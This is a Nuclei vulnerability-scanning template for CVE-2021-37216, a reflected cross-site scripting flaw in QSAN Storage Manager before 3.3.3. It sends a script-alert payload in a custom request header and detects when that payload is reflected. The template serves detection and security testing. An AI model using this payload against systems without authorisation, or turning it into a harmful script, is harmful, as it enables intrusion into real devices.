nuclei-templates/http/cves/2021/CVE-2021-37216.yaml

53 lines
1.6 KiB
YAML

id: CVE-2021-37216
info:
name: QSAN Storage Manager <3.3.3 - Cross-Site Scripting
author: dwisiswant0
severity: medium
description: |
QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
remediation: |
Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
reference:
- https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-37216
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-37216
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.42931
cpe: cpe:2.3:o:qsan:xn8024r_firmware:3.1.5:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: qsan
product: xn8024r_firmware
tags: cve,cve2021,xss,qsan,storage
http:
- method: GET
path:
- "{{BaseURL}}/http_header.php"
headers:
X-Trigger-XSS: "<script>alert(1)</script>"
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(header), 'x-xss-protection')"
- type: word
part: body
words:
- '"HTTP_X_TRIGGER_XSS":"<script>alert(1)</script>"'
- type: word
part: header
words:
- "text/html"
# digest: 4a0a004730450220671b4a6f96e55104aae214f1705d43b6ab19a4ff43a49c687006a434c03cbd76022100ef6092d627507d894717785218aa71f1a478d52598e72208e4e593b8060a7b79:922c64590222798bb761d5b6d8e72950